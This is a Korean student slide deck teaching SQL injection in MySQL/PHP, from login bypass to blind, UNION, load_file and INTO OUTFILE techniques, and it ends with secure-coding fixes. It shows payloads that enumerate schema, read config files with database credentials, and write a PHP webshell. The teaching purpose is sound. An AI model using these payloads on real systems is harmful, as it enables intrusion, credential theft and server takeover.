ݺߣ

ݺߣShare a Scribd company logo
Advanced SQL Injection
계룡고등학교 1학년
호정
TEAM PWN&PLAY
What is SQL(structured query language) ?
SQL(structured query
language) 이란
무엇인가?
What is SQL ?
웹해킹 피해 통계
Web Hacking ?!
웹해킹 피해 통계
34%
7%
13%
4%
6%
10%
0%
11%
7%
8%
OWASP TOP 10 2013
SQL Injection
취약한 인증 및 세션 관리
악성 스크립트 삽입 공격(XSS)
안전하지 않은 직접 객체 참조
잘못된 보안 구성
중요한 데이터 노출
Missing Function Level Access
Control
CSRF
알려진 취약한 Componets를 사용
SQL Injection의 사례들
우리 주변에 일어난
사건으로는 ?
SQL Injection 의 사례들
ZeroBoard XE, Gnuboard 등 공개용 보드에 심심찮게
발견되는 취약점들.
(2011.03) 넥슨 정보 유출 사건
- 고객 정보 1,320만건의 개인정보가 유출
(2011.04) 소니의 온라인 비디오 시스템이 해킹
- 7,700만명의 개인정보가 유출
(2008.02) 옥션 해킹
-해커가 옥션 웹 서버 뚫고 회원 1863만 명 개인정보
유출
What is SQL Injection ?
정상적인 데이터를 조회하는
정상적인 쿼리에 이상한
문자가 들어간다면?
What is SQL Injection ?
What is SQL Injection ?
$sql=SELECT subject,content from board_table where
no=$_GET[‘no‘]
정상적인 경우 비정상적인 경우
What is SQL Injection ?
해커들은 어떻게 쿼리구문을 알고 그에
맞게 데이터베이스를 해킹 할까?
SQL Injection에 취약한곳 유형
Login
• id를 안 뒤, 쿼리문을 조작
게시물
• 게시물 번호, 주로 정수가 오는부분에 에러가 나는지 확인
$_SERVER 변수
• $_SERVER 변수는 magic_quotes_gpc 옵션이 적용되지 않
음.
SQL Injection 유형 (1)
LOGIN !
SQL Injection 유형 (1)
주로 인증을 회피하기 위해서 시도하는 유형
Query : SELECT * from user_info where id=„‟ or 1=1- -‟ and pw =„‟;
SQL Injection 유형 (2)
Board !
SQL Injection 유형 (2)
URL : http://www.xxx.com/content.php?no=1‟
보통 게시물 번호는 정수인것을 이용하여 에러가 나는지 확인
Query : SELECT * FROM board where no = 1‟
SQL Injection 유형 (3)
Magic_quotes_gpc가 적용이
안되는 부분이 있다?!
SQL Injection 유형 (3)
$_SERVER 변수 !
SQL Injection 유형 (3)
$_SERVER 변수는 magic_quotes_gpc옵션이 제대로 적용되지 않음.
What is Blind SQL Injection ?
아무것도 알지 못하는 상태에서 여러가지 MYSQL함수를 사용하여, 정보를 얻어내는 기법.
What is Blind SQL Injection ?
무슨 종류의 함수??
What is Blind SQL Injection ?
문자열에 관련된 함수!
The type of the function used in the Blind SQL Inject
ion
substr : 문자열을 자르는 함수
형식) substr(“abcd”,자르기 시작할 문자의
위치,자를 길이);
결과)
Substr(“abcd”,1,3); => abc
The type of the function used in the Blind SQL Inject
ion
mid : 문자열을 자르는 함수
형식) mid(“abcd”,자르기 시작할 문자의 위치,자를
길이);
결과)
mid(“abcd”,1,3) => abc
The type of the function used in the Blind SQL Inject
ion
Left,right : 문자열을 자르는 함수
형식) left(right(자를 문자열,오른쪽으로부터 얼마나
자를것인가),왼쪽으로부터 얼마나 자를것인가)
결과)
Left(right(“abcd”,4),1) => a
What is Blind SQL Injection ?
한 문자씩 자른다 !
What is Blind SQL Injection ?
Why ?
What is Blind SQL Injection ?
한문자씩 찍어맞추려고
What is Blind SQL Injection ?
그 외에도 !
What is Blind SQL Injection ?
문자를 변환시키는 함수가 있다
String to ASCII
Ord()
결과)
Ord(“a”) => 97
String to ASCII
Ascii()
결과)
Ascii(“h”) => 104
String to Hex
Hex()
결과)
Hex(“sql”) => 0x73716C
Blind SQL Injection
그런데 왜 변환시키는걸까?
Blind SQL Injection
„ -> ‟
Blind SQL Injection
Magic_quotes_gpc를 우회하기
위해서!
Blind SQL Injection
그렇다면 Blind SQL Injection을
시도할 테이블과 칼럼의 이름은?
The purpose of the Blind SQL Injection
1 ) Table의 이름을 알아낸다.
Information_schema.tables
The purpose of the Blind SQL Injection
2 ) column의 이름을 알아낸다.
Information_schema.columns
The purpose of the Blind SQL Injection
3 ) 해당 값을 알아낸다.
Blind SQL Injection
Union 과 문자열 관련 함수( +
서브쿼리 )로 테이블이름과
칼럼이름을 알아낸다
Blind SQL Injection
서브쿼리(SubQuery) + 문자열
관련 함수
Blind SQL Injection
한글자씩 리턴하는것을 볼 수가 있음.
Union
Union을 쓴다 !
Union
Union이란 무엇인가?
Union
Union 은 2개 이상의
쿼리를 요청하여 결과를
얻기 위한 것
Union SQL Injection Example
SELECT * FROM user_info where
id=„admin‟ and
password=“helloworld” and 1=2
union select table_name,table_name
from information_schema.tables--”;
Union SQL Injection Example
SELECT * FROM user_info where
id=„admin‟ and
password=“helloworld” and 1=2
union select
column_name,column_name from
information_schema.columns--”;
Union SQL Injection Example
SELECT * FROM user_info where
id=„admin‟ and
password=“helloworld” and 1=2
union select 알아낸칼럼,알아낸칼럼
from 알아낸 테이블--”;
Blind SQL Injection Example
성공 실패
http://webhacking.kr/challenge/bonus/bonus-
1/index.php?no=11111%0a||%0aascii(substr(id,
1,1))>0%23&id=&pw=
http://webhacking.kr/challenge/bonus/bonus-
1/index.php?no=11111%0a||%0aascii(substr(id,1,
1))<0%23&id=&pw=
Union
또, Union은 다른곳에도
사용된다!
Union
union
Blind sql injection
WebshellLFI
LFI
LFI란 무엇인가?
LFI
Local File Inclusion의 약자
LFI
Load_file() 을 사용
What is load_file function?
파일을 열어서 내용을
로드함!
LFI
그렇다면 LFI랑은 무슨
상관인건가?
LFI
SELECT * FROM board_table
where num=$_GET[„num‟]
LFI
SELECT * FROM board_table
where num=1 and 1=2 union
select load_file(„파일명‟);
LFI
그림파일안에 php코드를 넣은 뒤에 load_file로 파일을 로드함
LFI
ZeroBoard를 쓸 경우에는
db.config.php를 로드 할 수
있음
LFI
다음과 같은 파일을 로드시키면 DB의 계정정보가 유출됨
Webshell Upload
SQL Injection으로 웹쉘을 업로드
할 수 있다.
Webshell Upload
SQL Injection으로 파일을 쓸 수
있다.
Webshell Upload
Into outfile / dumpfile을
사용하면 된다.
Webshell Upload
Into outfile = Into dumpfile
Webshell Upload
Into outfile
파일을 쓰는
함수
Webshell Upload
Webshell Upload
Into outfile/dumpfile은 어떤
쿼리에서?
Webshell Upload
SELECT subject,content,writer
from board where
boardid=$_GET[„boardid‟] and
pid=$_GET[„pid‟];
Webshell Upload
SELECT subject,content,writer
from board where boardid=105
and pid=6420;
Webshell Upload
SELECT subject,content,writer from board where boardid=105 and
pid=6420 union select „php 코드!‟,‟php 코드!‟,‟php 코드!„ into outfile
„파일경로이름/파일이름‟;
Webshell Upload
SELECT subject,content,writer from board where boardid=105 and
pid=6420 union select „php 코드!‟,‟php 코드!‟,‟php 코드!„ into outfile
„파일경로이름/파일이름‟;
Webshell Upload
SELECT subject,content,writer from board where boardid=105 and
pid=6420 union select „php 코드!‟,‟php 코드!‟,‟php 코드!„ into outfile
„파일경로이름/파일이름‟;
Webshell Upload
SELECT subject,content,writer from board where boardid=105 and
pid=6420 union select „php 코드!‟,‟php 코드!‟,‟php 코드!„ into outfile
„파일경로이름/파일이름‟;
Solution
상황에 맞게 그에 맞는
secure coding이 필요하다!
Solution – int형 파라미터
1. 글번호같은
경우, is_numeric함수
로 숫자가
맞는지, 틀린지
판단한다.
Solution – int형 파라미터
SELECT * FROM board where pid=1 (x)
SELECT * FROM board where pid=„1‟ (o)
Solution – String형 파라미터
?‟가 되면서 글씨가 깨짐
Solution – String형 파라미터
따라서… 다음과 같이 코딩한다
Solution – String형 파라미터
“SELECT * FROM ~ WHERE userid=”.$c ( x )
“SELECT * FROM ~ WHERE userid='".$c."„” ( o )
Q&A 지금까지 들어주셔서 감사니다.

More Related Content

호정

Editor's Notes

  • #2: kjhkhkhihihiuhiuh
  • #84: In ݺߣ Show mode, click the arrow to enterdddd the PowerPoint Getting Started Center.